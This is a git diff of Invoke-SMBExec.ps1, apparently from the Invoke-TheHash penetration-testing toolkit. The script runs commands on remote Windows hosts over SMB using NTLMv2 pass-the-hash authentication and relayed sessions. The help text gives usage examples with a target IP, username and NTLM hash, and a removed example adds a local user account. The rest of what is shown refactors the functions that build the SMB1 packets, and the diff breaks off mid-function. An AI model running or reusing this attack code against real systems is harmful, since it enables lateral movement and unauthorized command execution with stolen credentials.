aboutsummaryrefslogtreecommitdiff
path: root/Invoke-SMBExec.ps1
diff options
context:
space:
mode:
Diffstat (limited to 'Invoke-SMBExec.ps1')
-rw-r--r--Invoke-SMBExec.ps13812
1 files changed, 2076 insertions, 1736 deletions
diff --git a/Invoke-SMBExec.ps1 b/Invoke-SMBExec.ps1
index a293d77..7e6d24a 100644
--- a/Invoke-SMBExec.ps1
+++ b/Invoke-SMBExec.ps1
@@ -3,7 +3,10 @@ function Invoke-SMBExec
<#
.SYNOPSIS
Invoke-SMBExec performs SMBExec style command execution with NTLMv2 pass the hash authentication. Invoke-SMBExec
-supports SMB1 and SMB2 with and without SMB signing.
+supports SMB1 and SMB2.1 with and without SMB signing.
+
+Author: Kevin Robertson (@kevin_robertson)
+License: BSD 3-Clause
.PARAMETER Target
Hostname or IP address of target.
@@ -13,7 +16,7 @@ Username to use for authentication.
.PARAMETER Domain
Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the
-username.
+username.
.PARAMETER Hash
NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
@@ -28,56 +31,84 @@ Default = Enabled: Prepend %COMSPEC% /C to Command.
.PARAMETER Service
Default = 20 Character Random: Name of the service to create and delete on the target.
-.PARAMETER SMB1
-(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the
-target.
-
.PARAMETER Sleep
Default = 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this
setting if you are experiencing strange results.
+.PARAMETER Session
+Inveigh-Relay authenticated session.
+
+.PARAMETER Version
+Default = Auto: (Auto,1,2.1) Force SMB version. The default behavior is to perform SMB version negotiation and use SMB2.1 if supported by the
+target.
+
.EXAMPLE
+Execute a command.
Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
.EXAMPLE
-Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "net user SMBExec Winter2017 /add"
+Check command execution privilege.
+Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
.EXAMPLE
-Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
+Execute a command using an authenticated Inveigh-Relay session.
+Invoke-SMBExec -Session 1 -Command "command or launcher to execute"
+
+.EXAMPLE
+Check if SMB signing is required.
+Invoke-SMBExec -Target 192.168.100.20
.LINK
https://github.com/Kevin-Robertson/Invoke-TheHash
#>
-[CmdletBinding()]
+[CmdletBinding(DefaultParametersetName='Default')]
param
(
- [parameter(Mandatory=$true)][String]$Target,
- [parameter(Mandatory=$true)][String]$Username,
- [parameter(Mandatory=$false)][String]$Domain,
+ [parameter(Mandatory=$false)][String]$Target,
+ [parameter(ParameterSetName='Auth',Mandatory=$true)][String]$Username,
+ [parameter(ParameterSetName='Auth',Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$Command,
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y",
- [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
+ [parameter(ParameterSetName='Auth',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
[parameter(Mandatory=$false)][String]$Service,
- [parameter(Mandatory=$false)][Switch]$SMB1,
+ [parameter(Mandatory=$false)][ValidateSet("Auto","1","2.1")][String]$Version="Auto",
+ [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session,
+ [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff,
+ [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh,
[parameter(Mandatory=$false)][Int]$Sleep=150
)
+if($PsCmdlet.ParameterSetName -ne 'Session' -and !$Target)
+{
+ Write-Output "[-] Target is required when not using -Session"
+ throw
+}
+
if($Command)
{
$SMB_execute = $true
}
-if($SMB1)
+if($Version -eq '1')
{
$SMB_version = 'SMB1'
}
+elseif($Version -eq '2.1')
+{
+ $SMB_version = 'SMB2.1'
+}
+
+if($PsCmdlet.ParameterSetName -ne 'Auth' -and $PsCmdlet.ParameterSetName -ne 'Session')
+{
+ $signing_check = $true
+}
function ConvertFrom-PacketOrderedDictionary
{
- param($packet_ordered_dictionary)
+ param($OrderedDictionary)
- ForEach($field in $packet_ordered_dictionary.Values)
+ ForEach($field in $OrderedDictionary.Values)
{
$byte_array += $field
}
@@ -87,625 +118,613 @@ function ConvertFrom-PacketOrderedDictionary
#NetBIOS
-function Get-PacketNetBIOSSessionService()
+function New-PacketNetBIOSSessionService
{
- param([Int]$packet_header_length,[Int]$packet_data_length)
+ param([Int]$HeaderLength,[Int]$DataLength)
- [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length)
- $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0]
+ [Byte[]]$length = ([System.BitConverter]::GetBytes($HeaderLength + $DataLength))[2..0]
- $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Message_Type",[Byte[]](0x00))
- $packet_NetBIOSSessionService.Add("NetBIOSSessionService_Length",[Byte[]]($packet_netbios_session_service_length))
+ $NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary
+ $NetBIOSSessionService.Add("MessageType",[Byte[]](0x00))
+ $NetBIOSSessionService.Add("Length",$length)
- return $packet_NetBIOSSessionService
+ return $NetBIOSSessionService
}
#SMB1
-function Get-PacketSMBHeader()
+function New-PacketSMBHeader
{
- param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID)
-
- $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMBHeader.Add("SMBHeader_Protocol",[Byte[]](0xff,0x53,0x4d,0x42))
- $packet_SMBHeader.Add("SMBHeader_Command",$packet_command)
- $packet_SMBHeader.Add("SMBHeader_ErrorClass",[Byte[]](0x00))
- $packet_SMBHeader.Add("SMBHeader_Reserved",[Byte[]](0x00))
- $packet_SMBHeader.Add("SMBHeader_ErrorCode",[Byte[]](0x00,0x00))
- $packet_SMBHeader.Add("SMBHeader_Flags",$packet_flags)
- $packet_SMBHeader.Add("SMBHeader_Flags2",$packet_flags2)
- $packet_SMBHeader.Add("SMBHeader_ProcessIDHigh",[Byte[]](0x00,0x00))
- $packet_SMBHeader.Add("SMBHeader_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_SMBHeader.Add("SMBHeader_Reserved2",[Byte[]](0x00,0x00))
- $packet_SMBHeader.Add("SMBHeader_TreeID",$packet_tree_ID)
- $packet_SMBHeader.Add("SMBHeader_ProcessID",$packet_process_ID)
- $packet_SMBHeader.Add("SMBHeader_UserID",$packet_user_ID)
- $packet_SMBHeader.Add("SMBHeader_MultiplexID",[Byte[]](0x00,0x00))
-
- return $packet_SMBHeader
+ param([Byte[]]$Command,[Byte[]]$Flags,[Byte[]]$Flags2,[Byte[]]$TreeID,[Byte[]]$ProcessID,[Byte[]]$UserID)
+
+ $ProcessID = $ProcessID[0,1]
+
+ $SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42))
+ $SMBHeader.Add("Command",$Command)
+ $SMBHeader.Add("ErrorClass",[Byte[]](0x00))
+ $SMBHeader.Add("Reserved",[Byte[]](0x00))
+ $SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00))
+ $SMBHeader.Add("Flags",$Flags)
+ $SMBHeader.Add("Flags2",$Flags2)
+ $SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00))
+ $SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00))
+ $SMBHeader.Add("TreeID",$TreeID)
+ $SMBHeader.Add("ProcessID",$ProcessID)
+ $SMBHeader.Add("UserID",$UserID)
+ $SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00))
+
+ return $SMBHeader
}
-
-function Get-PacketSMBNegotiateProtocolRequest()
+function New-PacketSMBNegotiateProtocolRequest
{
- param([String]$packet_version)
+ param([String]$Version)
- if($packet_version -eq 'SMB1')
+ if($Version -eq 'SMB1')
{
- [Byte[]]$packet_byte_count = 0x0c,0x00
+ [Byte[]]$byte_count = 0x0c,0x00
}
else
{
- [Byte[]]$packet_byte_count = 0x22,0x00
+ [Byte[]]$byte_count = 0x22,0x00
}
- $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_WordCount",[Byte[]](0x00))
- $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_ByteCount",$packet_byte_count)
- $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02))
- $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00))
+ $SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00))
+ $SMBNegotiateProtocolRequest.Add("ByteCount",$byte_count)
+ $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02))
+ $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00))
- if($packet_version -ne 'SMB1')
+ if($version -ne 'SMB1')
{
- $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02))
- $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00))
- $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02))
- $packet_SMBNegotiateProtocolRequest.Add("SMBNegotiateProtocolRequest_RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00))
+ $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02))
+ $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00))
+ $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02))
+ $SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00))
}
- return $packet_SMBNegotiateProtocolRequest
+ return $SMBNegotiateProtocolRequest
}
-function Get-PacketSMBSessionSetupAndXRequest()
+function New-PacketSMBSessionSetupAndXRequest
{
- param([Byte[]]$packet_security_blob)
-
- [Byte[]]$packet_byte_count = [System.BitConverter]::GetBytes($packet_security_blob.Length)
- $packet_byte_count = $packet_byte_count[0,1]
- [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length + 5)
- $packet_security_blob_length = $packet_security_blob_length[0,1]
-
- $packet_SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_WordCount",[Byte[]](0x0c))
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXCommand",[Byte[]](0xff))
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved",[Byte[]](0x00))
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXOffset",[Byte[]](0x00,0x00))
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxBuffer",[Byte[]](0xff,0xff))
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxMpxCount",[Byte[]](0x02,0x00))
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_VCNumber",[Byte[]](0x01,0x00))
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SessionKey",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlobLength",$packet_byte_count)
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved2",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Capabilities",[Byte[]](0x44,0x00,0x00,0x80))
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_ByteCount",$packet_security_blob_length)
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlob",$packet_security_blob)
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeOS",[Byte[]](0x00,0x00,0x00))
- $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeLANManage",[Byte[]](0x00,0x00))
-
- return $packet_SMBSessionSetupAndXRequest
+ param([Byte[]]$SecurityBlob)
+
+ [Byte[]]$byte_count = [System.BitConverter]::GetBytes($SecurityBlob.Length)[0,1]
+ [Byte[]]$security_blob_length = [System.BitConverter]::GetBytes($SecurityBlob.Length + 5)[0,1]
+
+ $SMBSessionSetupAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMBSessionSetupAndXRequest.Add("WordCount",[Byte[]](0x0c))
+ $SMBSessionSetupAndXRequest.Add("AndXCommand",[Byte[]](0xff))
+ $SMBSessionSetupAndXRequest.Add("Reserved",[Byte[]](0x00))
+ $SMBSessionSetupAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
+ $SMBSessionSetupAndXRequest.Add("MaxBuffer",[Byte[]](0xff,0xff))
+ $SMBSessionSetupAndXRequest.Add("MaxMpxCount",[Byte[]](0x02,0x00))
+ $SMBSessionSetupAndXRequest.Add("VCNumber",[Byte[]](0x01,0x00))
+ $SMBSessionSetupAndXRequest.Add("SessionKey",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMBSessionSetupAndXRequest.Add("SecurityBlobLength",$byte_count)
+ $SMBSessionSetupAndXRequest.Add("Reserved2",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMBSessionSetupAndXRequest.Add("Capabilities",[Byte[]](0x44,0x00,0x00,0x80))
+ $SMBSessionSetupAndXRequest.Add("ByteCount",$security_blob_length)
+ $SMBSessionSetupAndXRequest.Add("SecurityBlob",$SecurityBlob)
+ $SMBSessionSetupAndXRequest.Add("NativeOS",[Byte[]](0x00,0x00,0x00))
+ $SMBSessionSetupAndXRequest.Add("NativeLANManage",[Byte[]](0x00,0x00))
+
+ return $SMBSessionSetupAndXRequest
}
-function Get-PacketSMBTreeConnectAndXRequest()
+function New-PacketSMBTreeConnectAndXRequest
{
- param([Byte[]]$packet_path)
-
- [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length + 7)
- $packet_path_length = $packet_path_length[0,1]
-
- $packet_SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_WordCount",[Byte[]](0x04))
- $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXCommand",[Byte[]](0xff))
- $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Reserved",[Byte[]](0x00))
- $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXOffset",[Byte[]](0x00,0x00))
- $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Flags",[Byte[]](0x00,0x00))
- $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_PasswordLength",[Byte[]](0x01,0x00))
- $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_ByteCount",$packet_path_length)
- $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Password",[Byte[]](0x00))
- $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Tree",$packet_path)
- $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00))
-
- return $packet_SMBTreeConnectAndXRequest
+ param([Byte[]]$Path)
+
+ [Byte[]]$path_length = $([System.BitConverter]::GetBytes($Path.Length + 7))[0,1]
+
+ $SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMBTreeConnectAndXRequest.Add("WordCount",[Byte[]](0x04))
+ $SMBTreeConnectAndXRequest.Add("AndXCommand",[Byte[]](0xff))
+ $SMBTreeConnectAndXRequest.Add("Reserved",[Byte[]](0x00))
+ $SMBTreeConnectAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
+ $SMBTreeConnectAndXRequest.Add("Flags",[Byte[]](0x00,0x00))
+ $SMBTreeConnectAndXRequest.Add("PasswordLength",[Byte[]](0x01,0x00))
+ $SMBTreeConnectAndXRequest.Add("ByteCount",$path_length)
+ $SMBTreeConnectAndXRequest.Add("Password",[Byte[]](0x00))
+ $SMBTreeConnectAndXRequest.Add("Tree",$Path)
+ $SMBTreeConnectAndXRequest.Add("Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00))
+
+ return $SMBTreeConnectAndXRequest
}
-function Get-PacketSMBNTCreateAndXRequest()
+function New-PacketSMBNTCreateAndXRequest
{
- param([Byte[]]$packet_named_pipe)
-
- [Byte[]]$packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length)
- $packet_named_pipe_length = $packet_named_pipe_length[0,1]
- [Byte[]]$packet_file_name_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length - 1)
- $packet_file_name_length = $packet_file_name_length[0,1]
-
- $packet_SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_WordCount",[Byte[]](0x18))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXCommand",[Byte[]](0xff))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved",[Byte[]](0x00))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXOffset",[Byte[]](0x00,0x00))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved2",[Byte[]](0x00))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileNameLen",$packet_file_name_length)
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateFlags",[Byte[]](0x16,0x00,0x00,0x00))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_RootFID",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AccessMask",[Byte[]](0x00,0x00,0x00,0x02))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileAttributes",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ShareAccess",[Byte[]](0x07,0x00,0x00,0x00))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Disposition",[Byte[]](0x01,0x00,0x00,0x00))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateOptions",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Impersonation",[Byte[]](0x02,0x00,0x00,0x00))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_SecurityFlags",[Byte[]](0x00))
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ByteCount",$packet_named_pipe_length)
- $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Filename",$packet_named_pipe)
-
- return $packet_SMBNTCreateAndXRequest
+ param([Byte[]]$NamedPipe)
+
+ [Byte[]]$named_pipe_length = $([System.BitConverter]::GetBytes($NamedPipe.Length))[0,1]
+ [Byte[]]$file_name_length = $([System.BitConverter]::GetBytes($NamedPipe.Length - 1))[0,1]
+
+ $SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMBNTCreateAndXRequest.Add("WordCount",[Byte[]](0x18))
+ $SMBNTCreateAndXRequest.Add("AndXCommand",[Byte[]](0xff))
+ $SMBNTCreateAndXRequest.Add("Reserved",[Byte[]](0x00))
+ $SMBNTCreateAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
+ $SMBNTCreateAndXRequest.Add("Reserved2",[Byte[]](0x00))
+ $SMBNTCreateAndXRequest.Add("FileNameLen",$file_name_length)
+ $SMBNTCreateAndXRequest.Add("CreateFlags",[Byte[]](0x16,0x00,0x00,0x00))
+ $SMBNTCreateAndXRequest.Add("RootFID",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMBNTCreateAndXRequest.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02))
+ $SMBNTCreateAndXRequest.Add("AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
+ $SMBNTCreateAndXRequest.Add("FileAttributes",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMBNTCreateAndXRequest.Add("ShareAccess",[Byte[]](0x07,0x00,0x00,0x00))
+ $SMBNTCreateAndXRequest.Add("Disposition",[Byte[]](0x01,0x00,0x00,0x00))
+ $SMBNTCreateAndXRequest.Add("CreateOptions",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMBNTCreateAndXRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00))
+ $SMBNTCreateAndXRequest.Add("SecurityFlags",[Byte[]](0x00))
+ $SMBNTCreateAndXRequest.Add("ByteCount",$named_pipe_length)
+ $SMBNTCreateAndXRequest.Add("Filename",$NamedPipe)
+
+ return $SMBNTCreateAndXRequest
}
-function Get-PacketSMBReadAndXRequest()
+function New-PacketSMBReadAndXRequest
{
- $packet_SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_WordCount",[Byte[]](0x0a))
- $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXCommand",[Byte[]](0xff))
- $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Reserved",[Byte[]](0x00))
- $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXOffset",[Byte[]](0x00,0x00))
- $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_FID",[Byte[]](0x00,0x40))
- $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MaxCountLow",[Byte[]](0x58,0x02))
- $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MinCount",[Byte[]](0x58,0x02))
- $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Unknown",[Byte[]](0xff,0xff,0xff,0xff))
- $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Remaining",[Byte[]](0x00,0x00))
- $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_ByteCount",[Byte[]](0x00,0x00))
-
- return $packet_SMBReadAndXRequest
+ $SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMBReadAndXRequest.Add("WordCount",[Byte[]](0x0a))
+ $SMBReadAndXRequest.Add("AndXCommand",[Byte[]](0xff))
+ $SMBReadAndXRequest.Add("Reserved",[Byte[]](0x00))
+ $SMBReadAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
+ $SMBReadAndXRequest.Add("FID",[Byte[]](0x00,0x40))
+ $SMBReadAndXRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMBReadAndXRequest.Add("MaxCountLow",[Byte[]](0x58,0x02))
+ $SMBReadAndXRequest.Add("MinCount",[Byte[]](0x58,0x02))
+ $SMBReadAndXRequest.Add("Unknown",[Byte[]](0xff,0xff,0xff,0xff))
+ $SMBReadAndXRequest.Add("Remaining",[Byte[]](0x00,0x00))
+ $SMBReadAndXRequest.Add("ByteCount",[Byte[]](0x00,0x00))
+
+ return $SMBReadAndXRequest
}
-function Get-PacketSMBWriteAndXRequest()
+function New-PacketSMBWriteAndXRequest
{
- param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length)
-
- [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length)
- $packet_write_length = $packet_write_length[0,1]
-
- $packet_SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WordCount",[Byte[]](0x0e))
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXCommand",[Byte[]](0xff))
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved",[Byte[]](0x00))
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXOffset",[Byte[]](0x00,0x00))
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_FID",$packet_file_ID)
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Offset",[Byte[]](0xea,0x03,0x00,0x00))
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved2",[Byte[]](0xff,0xff,0xff,0xff))
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WriteMode",[Byte[]](0x08,0x00))
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Remaining",$packet_write_length)
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthHigh",[Byte[]](0x00,0x00))
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthLow",$packet_write_length)
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataOffset",[Byte[]](0x3f,0x00))
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_HighOffset",[Byte[]](0x00,0x00,0x00,0x00))
- $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_ByteCount",$packet_write_length)
-
- return $packet_SMBWriteAndXRequest
+ param([Byte[]]$FileID,[Int]$Length)
+
+ [Byte[]]$write_length = [System.BitConverter]::GetBytes($Length)[0,1]
+
+ $SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMBWriteAndXRequest.Add("WordCount",[Byte[]](0x0e))
+ $SMBWriteAndXRequest.Add("AndXCommand",[Byte[]](0xff))
+ $SMBWriteAndXRequest.Add("Reserved",[Byte[]](0x00))
+ $SMBWriteAndXRequest.Add("AndXOffset",[Byte[]](0x00,0x00))
+ $SMBWriteAndXRequest.Add("FID",$FileID)
+ $SMBWriteAndXRequest.Add("Offset",[Byte[]](0xea,0x03,0x00,0x00))
+ $SMBWriteAndXRequest.Add("Reserved2",[Byte[]](0xff,0xff,0xff,0xff))
+ $SMBWriteAndXRequest.Add("WriteMode",[Byte[]](0x08,0x00))
+ $SMBWriteAndXRequest.Add("Remaining",$write_length)
+ $SMBWriteAndXRequest.Add("DataLengthHigh",[Byte[]](0x00,0x00))
+ $SMBWriteAndXRequest.Add("DataLengthLow",$write_length)
+ $SMBWriteAndXRequest.Add("DataOffset",[Byte[]](0x3f,0x00))
+ $SMBWriteAndXRequest.Add("HighOffset",[Byte[]](0x00,0x00,0x00,0x00))
+ $SMBWriteAndXRequest.Add("ByteCount",$write_length)
+
+ return $SMBWriteAndXRequest
}
-function Get-PacketSMBCloseRequest()
+function New-PacketSMBCloseRequest
{
- param ([Byte[]]$packet_file_ID)
+ param ([Byte[]]$FileID)
- $packet_SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary
- $packet_SMBCloseRequest.Add("SMBCloseRequest_WordCount",[Byte[]](0x03))
- $packet_SMBCloseRequest.Add("SMBCloseRequest_FID",$packet_file_ID)
- $packet_SMBCloseRequest.Add("SMBCloseRequest_LastWrite",[Byte[]](0xff,0xff,0xff,0xff))
- $packet_SMBCloseRequest.Add("SMBCloseRequest_ByteCount",[Byte[]](0x00,0x00))
+ $SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary
+ $SMBCloseRequest.Add("WordCount",[Byte[]](0x03))
